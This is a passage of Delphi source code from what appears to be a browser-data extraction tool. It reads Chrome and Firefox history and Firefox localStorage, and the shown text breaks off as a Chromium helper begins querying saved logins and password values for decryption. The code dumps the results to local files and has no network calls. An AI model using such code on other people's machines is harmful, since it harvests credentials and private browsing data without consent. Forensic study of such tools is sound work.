TJSONArray; 135 | JSONObject: TJSONObject; 136 | FileName, FilePath, JSONString: string; 137 | begin 138 | EnsureResultsDirectory; 139 | JSONArray := TJSONArray.Create; 140 | try 141 | for var Item in History do 142 | begin 143 | JSONObject := TJSONObject.Create; 144 | JSONObject.AddPair('title', TJSONString.Create(Item.Title)); 145 | JSONObject.AddPair('url', TJSONString.Create(Item.URL)); 146 | JSONObject.AddPair('visitCount', TJSONNumber.Create(Item.VisitCount)); 147 | JSONObject.AddPair('lastVisit', FormatDateTime('yyyy-mm-dd hh:nn:ss', 148 | Item.LastVisitTime)); 149 | JSONArray.AddElement(JSONObject); 150 | end; 151 | 152 | FileName := Format('%s_%s_history.json', 153 | [GetBrowserPrefix, GetProfileName]); 154 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), 155 | FileName); 156 | 157 | // Convert JSON to string 158 | JSONString := JSONArray.Format(2); 159 | 160 | // Replace escaped forward slashes \/ with / 161 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]); 162 | 163 | // Save the modified JSON string 164 | TFile.WriteAllText(FilePath, JSONString); 165 | 166 | WriteLn(Format('[%s] History saved to: %s', [GetBrowserPrefix.ToUpper, 167 | FilePath])); 168 | finally 169 | JSONArray.Free; 170 | end; 171 | end; 172 | 173 | procedure TChromiumHistoryHelper.OutputCSV(const History: THistoryItems); 174 | var 175 | OutputFile: TextFile; 176 | FileName, FilePath: string; 177 | begin 178 | EnsureResultsDirectory; 179 | FileName := Format('%s_%s_history.csv', [GetBrowserPrefix, GetProfileName]); 180 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 181 | AssignFile(OutputFile, FilePath); 182 | try 183 | Rewrite(OutputFile); 184 | WriteLn(OutputFile, 'Title,URL,VisitCount,LastVisit'); 185 | 186 | for var Item in History do 187 | begin 188 | WriteLn(OutputFile, Format('"%s","%s","%d","%s"', 189 | [StringReplace(Item.Title, '"', '""', [rfReplaceAll]), 190 | StringReplace(Item.URL, '"', '""', [rfReplaceAll]), Item.VisitCount, 191 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.LastVisitTime)])); 192 | end; 193 | 194 | WriteLn(Format('[%s] History saved to: %s', [GetBrowserPrefix.ToUpper, 195 | FilePath])); 196 | finally 197 | CloseFile(OutputFile); 198 | end; 199 | end; 200 | 201 | procedure TChromiumHistoryHelper.OutputHistory(const History: THistoryItems); 202 | begin 203 | case FOutputFormat of 204 | ofHuman: 205 | OutputHuman(History); 206 | ofJSON: 207 | OutputJSON(History); 208 | ofCSV: 209 | OutputCSV(History); 210 | end; 211 | end; 212 | 213 | constructor TChromiumHistoryHelper.Create(const AProfilePath: string; 214 | ABrowserKind: TBrowserKind = bkChrome); 215 | begin 216 | inherited Create; 217 | FProfilePath := AProfilePath; 218 | FBrowserKind := ABrowserKind; 219 | FOutputFormat := ofCSV; 220 | FSQLiteConnection := TUniConnection.Create(nil); 221 | FSQLiteConnection.ProviderName := 'SQLite'; 222 | FSQLiteConnection.LoginPrompt := False; 223 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True'; 224 | end; 225 | 226 | destructor TChromiumHistoryHelper.Destroy; 227 | begin 228 | if Assigned(FSQLiteConnection) then 229 | begin 230 | if FSQLiteConnection.Connected then 231 | FSQLiteConnection.Disconnect; 232 | FSQLiteConnection.Free; 233 | end; 234 | inherited; 235 | end; 236 | 237 | function TChromiumHistoryHelper.GetHistory: THistoryItems; 238 | var 239 | Query: TUniQuery; 240 | HistoryDb, TempDb: string; 241 | FS: TFormatSettings; 242 | begin 243 | SetLength(Result, 0); 244 | HistoryDb := TPath.Combine(FProfilePath, 'History'); 245 | 246 | if not FileExists(HistoryDb) then 247 | Exit; 248 | 249 | TempDb := TPath.Combine(TPath.GetTempPath, Format('history_%s.sqlite', 250 | [TGUID.NewGuid.ToString])); 251 | try 252 | TFile.Copy(HistoryDb, TempDb); 253 | FSQLiteConnection.Database := TempDb; 254 | FSQLiteConnection.Connect; 255 | Query := TUniQuery.Create(nil); 256 | try 257 | Query.Connection := FSQLiteConnection; 258 | Query.SQL.Text := CLOSE_JOURNAL_MODE; 259 | Query.ExecSQL; 260 | Query.SQL.Text := QUERY_Chromium_HISTORY; 261 | Query.Open; 262 | 263 | while not Query.Eof do 264 | begin 265 | SetLength(Result, Length(Result) + 1); 266 | with Result[High(Result)] do 267 | begin 268 | Title := Query.FieldByName('title').AsString; 269 | URL := Query.FieldByName('url').AsString; 270 | VisitCount := Query.FieldByName('visit_count').AsInteger; 271 | 272 | var 273 | VisitDateStr := Query.FieldByName('formatted_visit_date').AsString; 274 | try 275 | FS := TFormatSettings.Create; 276 | FS.DateSeparator := '-'; 277 | FS.TimeSeparator := ':'; 278 | FS.ShortDateFormat := 'yyyy-mm-dd'; 279 | FS.LongTimeFormat := 'hh:nn:ss'; 280 | LastVisitTime := StrToDateTime(VisitDateStr, FS); 281 | except 282 | on E: Exception do 283 | begin 284 | WriteLn('Error parsing visit date: ' + VisitDateStr + ' - ' + 285 | E.Message); 286 | LastVisitTime := 0; 287 | end; 288 | end; 289 | end; 290 | Query.Next; 291 | end; 292 | 293 | if Length(Result) > 0 then 294 | begin 295 | SortHistoryByVisitCount(Result); 296 | OutputHistory(Result); 297 | end; 298 | 299 | finally 300 | Query.Free; 301 | FSQLiteConnection.Disconnect; 302 | end; 303 | 304 | finally 305 | if FileExists(TempDb) then 306 | TFile.Delete(TempDb); 307 | end; 308 | end; 309 | 310 | procedure TChromiumHistoryHelper.SortHistoryByVisitCount 311 | (var History: THistoryItems); 312 | var 313 | i, j: Integer; 314 | temp: THistoryItem; 315 | begin 316 | for i := Low(History) to High(History) - 1 do 317 | for j := i + 1 to High(History) do 318 | if History[i].VisitCount < History[j].VisitCount then 319 | begin 320 | temp := History[i]; 321 | History[i] := History[j]; 322 | History[j] := temp; 323 | end; 324 | end; 325 | 326 | function TChromiumHistoryHelper.GetHistoryCount: Integer; 327 | var 328 | Query: TUniQuery; 329 | HistoryDb, TempDb: string; 330 | begin 331 | Result := 0; 332 | HistoryDb := TPath.Combine(FProfilePath, 'History'); 333 | 334 | if not FileExists(HistoryDb) then 335 | Exit; 336 | 337 | // Create temp copy of database 338 | TempDb := TPath.Combine(TPath.GetTempPath, Format('history_%s.sqlite', 339 | [TGUID.NewGuid.ToString])); 340 | try 341 | TFile.Copy(HistoryDb, TempDb); 342 | FSQLiteConnection.Database := TempDb; 343 | FSQLiteConnection.Connect; 344 | Query := TUniQuery.Create(nil); 345 | try 346 | Query.Connection := FSQLiteConnection; 347 | Query.SQL.Text := CLOSE_JOURNAL_MODE; 348 | Query.ExecSQL; 349 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM urls'; 350 | Query.Open; 351 | Result := Query.FieldByName('count').AsInteger; 352 | finally 353 | Query.Free; 354 | FSQLiteConnection.Disconnect; 355 | end; 356 | 357 | finally 358 | // Delete temporary database copy 359 | if FileExists(TempDb) then 360 | TFile.Delete(TempDb); 361 | end; 362 | end; 363 | 364 | end. 365 | -------------------------------------------------------------------------------- /src/browserdata/history/FirefoxHistory.pas: -------------------------------------------------------------------------------- 1 | unit FirefoxHistory; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils, 7 | System.Classes, 8 | System.IOUtils, 9 | System.Generics.Collections, 10 | System.Generics.Defaults, 11 | System.DateUtils, 12 | System.JSON, 13 | Uni, 14 | SQLiteUniProvider; 15 | 16 | type 17 | TOutputFormat = (ofHuman, ofJSON, ofCSV); 18 | 19 | THistoryItem = record 20 | ID: Int64; 21 | Title: string; 22 | URL: string; 23 | VisitCount: Integer; 24 | LastVisitTime: TDateTime; 25 | end; 26 | 27 | THistoryItems = TArray; 28 | 29 | TFirefoxHistoryHelper = class 30 | private 31 | FProfilePath: string; 32 | FOutputFormat: TOutputFormat; 33 | FSQLiteConnection: TUniConnection; 34 | 35 | const 36 | QUERY_FIREFOX_HISTORY = 'SELECT id, url, ' + 37 | 'strftime(''%Y-%m-%d %H:%M:%S'', COALESCE(last_visit_date, 0)/1000000, ''unixepoch'', ''localtime'') as formatted_visit_date, ' 38 | + 'COALESCE(title, '''') as title, visit_count FROM moz_places'; 39 | 40 | CLOSE_JOURNAL_MODE = 'PRAGMA journal_mode=off'; 41 | 42 | function GetProfileName: string; 43 | procedure EnsureResultsDirectory; 44 | procedure OutputHuman(const History: THistoryItems); 45 | procedure OutputJSON(const History: THistoryItems); 46 | procedure OutputCSV(const History: THistoryItems); 47 | procedure OutputHistory(const History: THistoryItems); 48 | public 49 | constructor Create(const AProfilePath: string); 50 | destructor Destroy; override; 51 | function GetHistory: THistoryItems; 52 | procedure SortHistoryByVisitCount(var History: THistoryItems); 53 | function GetHistoryCount: Integer; 54 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat; 55 | end; 56 | 57 | implementation 58 | 59 | function TFirefoxHistoryHelper.GetProfileName: string; 60 | var 61 | ProfileFolder: string; 62 | begin 63 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath)); 64 | Result := StringReplace(ProfileFolder, '.', '_', [rfReplaceAll]); 65 | end; 66 | 67 | procedure TFirefoxHistoryHelper.EnsureResultsDirectory; 68 | var 69 | ResultsDir: string; 70 | begin 71 | ResultsDir := TPath.Combine(GetCurrentDir, 'results'); 72 | if not TDirectory.Exists(ResultsDir) then 73 | TDirectory.CreateDirectory(ResultsDir); 74 | end; 75 | 76 | procedure TFirefoxHistoryHelper.OutputHuman(const History: THistoryItems); 77 | var 78 | OutputFile: TextFile; 79 | FileName, FilePath: string; 80 | begin 81 | EnsureResultsDirectory; 82 | FileName := Format('firefox_%s_history.txt', [GetProfileName]); 83 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 84 | AssignFile(OutputFile, FilePath); 85 | try 86 | Rewrite(OutputFile); 87 | for var Item in History do 88 | begin 89 | WriteLn(OutputFile); 90 | WriteLn(OutputFile, 'URL: ', Item.URL); 91 | WriteLn(OutputFile, 'Title: ', Item.Title); 92 | WriteLn(OutputFile, 'Visit Count: ', Item.VisitCount); 93 | if Item.LastVisitTime > 0 then 94 | WriteLn(OutputFile, 'Last Visit: ', 95 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.LastVisitTime)); 96 | WriteLn(OutputFile, '----------------------------------------'); 97 | end; 98 | WriteLn('[FIREFOX] History saved to: ', FilePath); 99 | finally 100 | CloseFile(OutputFile); 101 | end; 102 | end; 103 | 104 | procedure TFirefoxHistoryHelper.OutputJSON(const History: THistoryItems); 105 | var 106 | JSONArray: TJSONArray; 107 | JSONObject: TJSONObject; 108 | FileName, FilePath, JSONString: string; 109 | begin 110 | EnsureResultsDirectory; 111 | JSONArray := TJSONArray.Create; 112 | try 113 | for var Item in History do 114 | begin 115 | JSONObject := TJSONObject.Create; 116 | JSONObject.AddPair('url', TJSONString.Create(Item.URL)); 117 | JSONObject.AddPair('title', TJSONString.Create(Item.Title)); 118 | JSONObject.AddPair('visitCount', TJSONNumber.Create(Item.VisitCount)); 119 | 120 | if Item.LastVisitTime > 0 then 121 | JSONObject.AddPair('lastVisit', FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.LastVisitTime)) 122 | else 123 | JSONObject.AddPair('lastVisit', TJSONString.Create('')); 124 | 125 | JSONArray.AddElement(JSONObject); 126 | end; 127 | 128 | FileName := Format('firefox_%s_history.json', [GetProfileName]); 129 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 130 | 131 | // Convert JSON to string 132 | JSONString := JSONArray.Format(2); 133 | 134 | // Replace escaped forward slashes \/ with / 135 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]); 136 | 137 | // Save the modified JSON string 138 | TFile.WriteAllText(FilePath, JSONString); 139 | 140 | WriteLn('[FIREFOX] History saved to: ', FilePath); 141 | finally 142 | JSONArray.Free; 143 | end; 144 | end; 145 | 146 | procedure TFirefoxHistoryHelper.OutputCSV(const History: THistoryItems); 147 | var 148 | OutputFile: TextFile; 149 | FileName, FilePath: string; 150 | begin 151 | EnsureResultsDirectory; 152 | FileName := Format('firefox_%s_history.csv', [GetProfileName]); 153 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 154 | AssignFile(OutputFile, FilePath); 155 | try 156 | Rewrite(OutputFile); 157 | WriteLn(OutputFile, 'URL,Title,VisitCount,LastVisitTime'); 158 | 159 | for var Item in History do 160 | begin 161 | WriteLn(OutputFile, Format('"%s","%s",%d,"%s"', 162 | [StringReplace(Item.URL, '"', '""', [rfReplaceAll]), 163 | StringReplace(Item.Title, '"', '""', [rfReplaceAll]), Item.VisitCount, 164 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.LastVisitTime)])); 165 | end; 166 | 167 | WriteLn('[FIREFOX] History saved to: ', FilePath); 168 | finally 169 | CloseFile(OutputFile); 170 | end; 171 | end; 172 | 173 | procedure TFirefoxHistoryHelper.OutputHistory(const History: THistoryItems); 174 | begin 175 | case FOutputFormat of 176 | ofHuman: 177 | OutputHuman(History); 178 | ofJSON: 179 | OutputJSON(History); 180 | ofCSV: 181 | OutputCSV(History); 182 | end; 183 | end; 184 | 185 | constructor TFirefoxHistoryHelper.Create(const AProfilePath: string); 186 | begin 187 | inherited Create; 188 | FProfilePath := AProfilePath; 189 | FOutputFormat := ofCSV; 190 | FSQLiteConnection := TUniConnection.Create(nil); 191 | FSQLiteConnection.ProviderName := 'SQLite'; 192 | FSQLiteConnection.LoginPrompt := False; 193 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True'; 194 | end; 195 | 196 | destructor TFirefoxHistoryHelper.Destroy; 197 | begin 198 | if Assigned(FSQLiteConnection) then 199 | begin 200 | if FSQLiteConnection.Connected then 201 | FSQLiteConnection.Disconnect; 202 | FSQLiteConnection.Free; 203 | end; 204 | inherited; 205 | end; 206 | 207 | function TFirefoxHistoryHelper.GetHistory: THistoryItems; 208 | var 209 | Query: TUniQuery; 210 | HistoryDb, TempDb: string; 211 | FS: TFormatSettings; 212 | begin 213 | SetLength(Result, 0); 214 | HistoryDb := TPath.Combine(FProfilePath, 'places.sqlite'); 215 | 216 | if not FileExists(HistoryDb) then 217 | Exit; 218 | 219 | // Create temp copy of database 220 | TempDb := TPath.Combine(TPath.GetTempPath, Format('places_%s.sqlite', [TGUID.NewGuid.ToString])); 221 | try 222 | TFile.Copy(HistoryDb, TempDb); 223 | FSQLiteConnection.Database := TempDb; 224 | 225 | FSQLiteConnection.Connect; 226 | Query := TUniQuery.Create(nil); 227 | try 228 | Query.Connection := FSQLiteConnection; 229 | Query.SQL.Text := CLOSE_JOURNAL_MODE; 230 | Query.ExecSQL; 231 | Query.SQL.Text := QUERY_FIREFOX_HISTORY; 232 | Query.Open; 233 | 234 | while not Query.Eof do 235 | begin 236 | SetLength(Result, Length(Result) + 1); 237 | with Result[High(Result)] do 238 | begin 239 | ID := Query.FieldByName('id').AsLargeInt; 240 | URL := Query.FieldByName('url').AsString; 241 | Title := Query.FieldByName('title').AsString; 242 | VisitCount := Query.FieldByName('visit_count').AsInteger; 243 | 244 | var VisitDateStr := Query.FieldByName('formatted_visit_date').AsString; 245 | 246 | try 247 | FS := TFormatSettings.Create; 248 | FS.DateSeparator := '-'; 249 | FS.TimeSeparator := ':'; 250 | FS.ShortDateFormat := 'yyyy-mm-dd'; 251 | FS.LongTimeFormat := 'hh:nn:ss'; 252 | LastVisitTime := StrToDateTime(VisitDateStr, FS); 253 | except 254 | on E: Exception do 255 | begin 256 | WriteLn('Error parsing visit date: ' + VisitDateStr + ' - ' + E.Message); 257 | LastVisitTime := 0; 258 | end; 259 | end; 260 | end; 261 | Query.Next; 262 | end; 263 | 264 | if Length(Result) > 0 then 265 | OutputHistory(Result); 266 | 267 | finally 268 | Query.Free; 269 | FSQLiteConnection.Disconnect; 270 | end; 271 | 272 | finally 273 | // Delete temporary database copy 274 | if FileExists(TempDb) then 275 | TFile.Delete(TempDb); 276 | end; 277 | end; 278 | 279 | procedure TFirefoxHistoryHelper.SortHistoryByVisitCount 280 | (var History: THistoryItems); 281 | var 282 | i, j: Integer; 283 | temp: THistoryItem; 284 | begin 285 | for i := Low(History) to High(History) - 1 do 286 | for j := i + 1 to High(History) do 287 | if History[i].VisitCount > History[j].VisitCount then 288 | begin 289 | temp := History[i]; 290 | History[i] := History[j]; 291 | History[j] := temp; 292 | end; 293 | end; 294 | 295 | function TFirefoxHistoryHelper.GetHistoryCount: Integer; 296 | var 297 | Query: TUniQuery; 298 | HistoryDb: string; 299 | begin 300 | Result := 0; 301 | HistoryDb := TPath.Combine(FProfilePath, 'places.sqlite'); 302 | 303 | if not FileExists(HistoryDb) then 304 | Exit; 305 | 306 | FSQLiteConnection.Database := HistoryDb; 307 | 308 | try 309 | FSQLiteConnection.Connect; 310 | Query := TUniQuery.Create(nil); 311 | try 312 | Query.Connection := FSQLiteConnection; 313 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM moz_places'; 314 | Query.Open; 315 | Result := Query.FieldByName('count').AsInteger; 316 | finally 317 | Query.Free; 318 | end; 319 | except 320 | on E: Exception do 321 | WriteLn('Error getting history count: ', E.Message); 322 | end; 323 | end; 324 | 325 | end. 326 | -------------------------------------------------------------------------------- /src/browserdata/localstorage/ChromiumLocalStorage.pas: -------------------------------------------------------------------------------- 1 | unit ChromiumLocalStorage; 2 | 3 | interface 4 | 5 | implementation 6 | 7 | end. 8 | -------------------------------------------------------------------------------- /src/browserdata/localstorage/FirefoxLocalStorage.pas: -------------------------------------------------------------------------------- 1 | unit FirefoxLocalStorage; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils, 7 | System.Classes, 8 | System.IOUtils, 9 | System.Generics.Collections, 10 | System.Generics.Defaults, 11 | System.JSON, 12 | Uni, 13 | SQLiteUniProvider; 14 | 15 | type 16 | TOutputFormat = (ofHuman, ofJSON, ofCSV); 17 | 18 | TLocalStorageItem = record 19 | URL: string; 20 | Key: string; 21 | Value: string; 22 | end; 23 | 24 | TLocalStorageItems = TArray; 25 | 26 | TFirefoxLocalStorageHelper = class 27 | private 28 | FProfilePath: string; 29 | FOutputFormat: TOutputFormat; 30 | FSQLiteConnection: TUniConnection; 31 | 32 | const 33 | QUERY_FIREFOX_LOCALSTORAGE = 'SELECT originKey, key, value FROM webappsstore2'; 34 | CLOSE_JOURNAL_MODE = 'PRAGMA journal_mode=off'; 35 | 36 | function GetProfileName: string; 37 | procedure EnsureResultsDirectory; 38 | procedure OutputHuman(const LocalStorage: TLocalStorageItems); 39 | procedure OutputJSON(const LocalStorage: TLocalStorageItems); 40 | procedure OutputCSV(const LocalStorage: TLocalStorageItems); 41 | procedure OutputLocalStorage(const LocalStorage: TLocalStorageItems); 42 | function ParseOriginKey(const OriginKey: string): string; 43 | 44 | public 45 | constructor Create(const AProfilePath: string); 46 | destructor Destroy; override; 47 | function GetLocalStorage: TLocalStorageItems; 48 | function GetLocalStorageCount: Integer; 49 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat; 50 | end; 51 | 52 | implementation 53 | 54 | function TFirefoxLocalStorageHelper.GetProfileName: string; 55 | var 56 | ProfileFolder: string; 57 | begin 58 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath)); 59 | Result := StringReplace(ProfileFolder, '.', '_', [rfReplaceAll]); 60 | end; 61 | 62 | function TFirefoxLocalStorageHelper.ParseOriginKey(const OriginKey: string): string; 63 | var 64 | Parts: TArray; 65 | Host: string; 66 | i: Integer; 67 | begin 68 | // Split originKey (e.g., "moc.buhtig.:https:443") 69 | Parts := OriginKey.Split([':']); 70 | if Length(Parts) >= 3 then 71 | begin 72 | // Reverse the host part 73 | Host := ''; 74 | for i := Length(Parts[0]) downto 1 do 75 | Host := Host + Parts[0][i]; 76 | 77 | // Remove leading dot if present 78 | if Host.StartsWith('.') then 79 | Host := Host.Substring(1); 80 | 81 | // Reconstruct URL 82 | Result := Format('%s://%s:%s', [Parts[1], Host, Parts[2]]); 83 | end 84 | else 85 | Result := OriginKey; 86 | end; 87 | 88 | procedure TFirefoxLocalStorageHelper.EnsureResultsDirectory; 89 | var 90 | ResultsDir: string; 91 | begin 92 | ResultsDir := TPath.Combine(GetCurrentDir, 'results'); 93 | if not TDirectory.Exists(ResultsDir) then 94 | TDirectory.CreateDirectory(ResultsDir); 95 | end; 96 | 97 | procedure TFirefoxLocalStorageHelper.OutputHuman(const LocalStorage: TLocalStorageItems); 98 | var 99 | OutputFile: TextFile; 100 | FileName, FilePath: string; 101 | begin 102 | EnsureResultsDirectory; 103 | FileName := Format('firefox_%s_localstorage.txt', [GetProfileName]); 104 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 105 | AssignFile(OutputFile, FilePath); 106 | try 107 | Rewrite(OutputFile); 108 | for var Item in LocalStorage do 109 | begin 110 | WriteLn(OutputFile); 111 | WriteLn(OutputFile, 'URL: ', Item.URL); 112 | WriteLn(OutputFile, 'Key: ', Item.Key); 113 | WriteLn(OutputFile, 'Value: ', Item.Value); 114 | WriteLn(OutputFile, '----------------------------------------'); 115 | end; 116 | WriteLn('[FIREFOX] LocalStorage saved to: ', FilePath); 117 | finally 118 | CloseFile(OutputFile); 119 | end; 120 | end; 121 | 122 | procedure TFirefoxLocalStorageHelper.OutputJSON(const LocalStorage: TLocalStorageItems); 123 | var 124 | JSONArray: TJSONArray; 125 | JSONObject: TJSONObject; 126 | FileName, FilePath, JSONString: string; 127 | begin 128 | EnsureResultsDirectory; 129 | JSONArray := TJSONArray.Create; 130 | try 131 | for var Item in LocalStorage do 132 | begin 133 | JSONObject := TJSONObject.Create; 134 | JSONObject.AddPair('url', TJSONString.Create(Item.URL)); 135 | JSONObject.AddPair('key', TJSONString.Create(Item.Key)); 136 | JSONObject.AddPair('value', TJSONString.Create(Item.Value)); 137 | JSONArray.AddElement(JSONObject); 138 | end; 139 | 140 | FileName := Format('firefox_%s_localstorage.json', [GetProfileName]); 141 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 142 | 143 | // Convert JSON to string 144 | JSONString := JSONArray.Format(2); 145 | 146 | // Replace escaped forward slashes \/ with / 147 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]); 148 | 149 | // Save the modified JSON string 150 | TFile.WriteAllText(FilePath, JSONString); 151 | 152 | WriteLn('[FIREFOX] LocalStorage saved to: ', FilePath); 153 | finally 154 | JSONArray.Free; 155 | end; 156 | end; 157 | 158 | procedure TFirefoxLocalStorageHelper.OutputCSV(const LocalStorage: TLocalStorageItems); 159 | var 160 | OutputFile: TextFile; 161 | FileName, FilePath: string; 162 | begin 163 | EnsureResultsDirectory; 164 | FileName := Format('firefox_%s_localstorage.csv', [GetProfileName]); 165 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 166 | AssignFile(OutputFile, FilePath); 167 | try 168 | Rewrite(OutputFile); 169 | WriteLn(OutputFile, 'URL,Key,Value'); 170 | 171 | for var Item in LocalStorage do 172 | begin 173 | WriteLn(OutputFile, Format('"%s","%s","%s"', 174 | [StringReplace(Item.URL, '"', '""', [rfReplaceAll]), 175 | StringReplace(Item.Key, '"', '""', [rfReplaceAll]), 176 | StringReplace(Item.Value, '"', '""', [rfReplaceAll])])); 177 | end; 178 | 179 | WriteLn('[FIREFOX] LocalStorage saved to: ', FilePath); 180 | finally 181 | CloseFile(OutputFile); 182 | end; 183 | end; 184 | 185 | procedure TFirefoxLocalStorageHelper.OutputLocalStorage(const LocalStorage: TLocalStorageItems); 186 | begin 187 | case FOutputFormat of 188 | ofHuman: 189 | OutputHuman(LocalStorage); 190 | ofJSON: 191 | OutputJSON(LocalStorage); 192 | ofCSV: 193 | OutputCSV(LocalStorage); 194 | end; 195 | end; 196 | 197 | constructor TFirefoxLocalStorageHelper.Create(const AProfilePath: string); 198 | begin 199 | inherited Create; 200 | FProfilePath := AProfilePath; 201 | FOutputFormat := ofCSV; // Default to CSV 202 | FSQLiteConnection := TUniConnection.Create(nil); 203 | FSQLiteConnection.ProviderName := 'SQLite'; 204 | FSQLiteConnection.LoginPrompt := False; 205 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True'; 206 | end; 207 | 208 | destructor TFirefoxLocalStorageHelper.Destroy; 209 | begin 210 | if Assigned(FSQLiteConnection) then 211 | begin 212 | if FSQLiteConnection.Connected then 213 | FSQLiteConnection.Disconnect; 214 | FSQLiteConnection.Free; 215 | end; 216 | inherited; 217 | end; 218 | 219 | function TFirefoxLocalStorageHelper.GetLocalStorage: TLocalStorageItems; 220 | var 221 | Query: TUniQuery; 222 | LocalStorageDb, TempDb: string; 223 | begin 224 | SetLength(Result, 0); 225 | LocalStorageDb := TPath.Combine(FProfilePath, 'webappsstore.sqlite'); 226 | 227 | if not FileExists(LocalStorageDb) then 228 | Exit; 229 | 230 | // Create temp copy of database 231 | TempDb := TPath.Combine(TPath.GetTempPath, Format('webappsstore_%s.sqlite', [TGUID.NewGuid.ToString])); 232 | try 233 | TFile.Copy(LocalStorageDb, TempDb); 234 | FSQLiteConnection.Database := TempDb; 235 | 236 | FSQLiteConnection.Connect; 237 | Query := TUniQuery.Create(nil); 238 | try 239 | Query.Connection := FSQLiteConnection; 240 | Query.SQL.Text := CLOSE_JOURNAL_MODE; 241 | Query.ExecSQL; 242 | Query.SQL.Text := QUERY_FIREFOX_LOCALSTORAGE; 243 | Query.Open; 244 | 245 | while not Query.Eof do 246 | begin 247 | SetLength(Result, Length(Result) + 1); 248 | with Result[High(Result)] do 249 | begin 250 | URL := ParseOriginKey(Query.FieldByName('originKey').AsString); 251 | Key := Query.FieldByName('key').AsString; 252 | Value := Query.FieldByName('value').AsString; 253 | end; 254 | Query.Next; 255 | end; 256 | 257 | if Length(Result) > 0 then 258 | OutputLocalStorage(Result); 259 | 260 | finally 261 | Query.Free; 262 | FSQLiteConnection.Disconnect; 263 | end; 264 | 265 | finally 266 | if FileExists(TempDb) then 267 | TFile.Delete(TempDb); 268 | end; 269 | end; 270 | 271 | function TFirefoxLocalStorageHelper.GetLocalStorageCount: Integer; 272 | var 273 | Query: TUniQuery; 274 | LocalStorageDb: string; 275 | begin 276 | Result := 0; 277 | LocalStorageDb := TPath.Combine(FProfilePath, 'webappsstore.sqlite'); 278 | 279 | if not FileExists(LocalStorageDb) then 280 | Exit; 281 | 282 | FSQLiteConnection.Database := LocalStorageDb; 283 | 284 | try 285 | FSQLiteConnection.Connect; 286 | Query := TUniQuery.Create(nil); 287 | try 288 | Query.Connection := FSQLiteConnection; 289 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM webappsstore2'; 290 | Query.Open; 291 | Result := Query.FieldByName('count').AsInteger; 292 | finally 293 | Query.Free; 294 | end; 295 | except 296 | on E: Exception do 297 | WriteLn('Error getting localStorage count: ', E.Message); 298 | end; 299 | end; 300 | 301 | end. 302 | -------------------------------------------------------------------------------- /src/browserdata/password/ChromiumPassword.pas: -------------------------------------------------------------------------------- 1 | unit ChromiumPassword; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils, System.Classes, System.IOUtils, System.DateUtils, 7 | System.JSON, System.NetEncoding, System.Math, System.Generics.Collections, 8 | Winapi.Windows, Uni, SQLiteUniProvider, ChromiumCrypto; 9 | 10 | type 11 | TBrowserKind = (bkChrome, bkBrave, bkEdge); 12 | TOutputFormat = (ofHuman, ofJSON, ofCSV); 13 | 14 | TLoginData = record 15 | UserName: string; 16 | Password: string; 17 | LoginURL: string; 18 | CreateDate: TDateTime; 19 | end; 20 | 21 | TLoginDataArray = TArray; 22 | 23 | TChromiumPasswordHelper = class 24 | private 25 | FProfilePath: string; 26 | FOutputFormat: TOutputFormat; 27 | FBrowserKind: TBrowserKind; 28 | FSQLiteConnection: TUniConnection; 29 | 30 | const 31 | QUERY_Chromium_LOGIN = 'SELECT ' + ' origin_url, ' + ' username_value, ' + 32 | ' password_value, ' + ' date_created, ' + 33 | ' strftime(''%Y-%m-%d %H:%M:%S'', (date_created/1000000)-11644473600, ''unixepoch'', ''localtime'') as formatted_date ' 34 | + 'FROM logins'; 35 | 36 | function GetProfileName: string; 37 | function GetBrowserPrefix: string; 38 | procedure EnsureResultsDirectory; 39 | procedure OutputHuman(const Logins: TLoginDataArray); 40 | procedure OutputJSON(const Logins: TLoginDataArray); 41 | procedure OutputCSV(const Logins: TLoginDataArray); 42 | procedure OutputLogins(const Logins: TLoginDataArray); 43 | public 44 | constructor Create(const AProfilePath: string; 45 | ABrowserKind: TBrowserKind = bkChrome); 46 | destructor Destroy; override; 47 | function GetPasswords: TLoginDataArray; 48 | function GetPasswordCount: Integer; 49 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat; 50 | end; 51 | 52 | implementation 53 | 54 | function TChromiumPasswordHelper.GetProfileName: string; 55 | begin 56 | Result := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath)); 57 | end; 58 | 59 | function TChromiumPasswordHelper.GetBrowserPrefix: string; 60 | begin 61 | case FBrowserKind of 62 | bkChrome: 63 | Result := 'chrome'; 64 | bkBrave: 65 | Result := 'brave'; 66 | bkEdge: 67 | Result := 'edge'; 68 | end; 69 | end; 70 | 71 | procedure TChromiumPasswordHelper.EnsureResultsDirectory; 72 | var 73 | ResultsDir: string; 74 | begin 75 | ResultsDir := TPath.Combine(GetCurrentDir, 'results'); 76 | if not TDirectory.Exists(ResultsDir) then 77 | TDirectory.CreateDirectory(ResultsDir); 78 | end; 79 | 80 | procedure TChromiumPasswordHelper.OutputHuman(const Logins: TLoginDataArray); 81 | var 82 | OutputFile: TextFile; 83 | FileName, 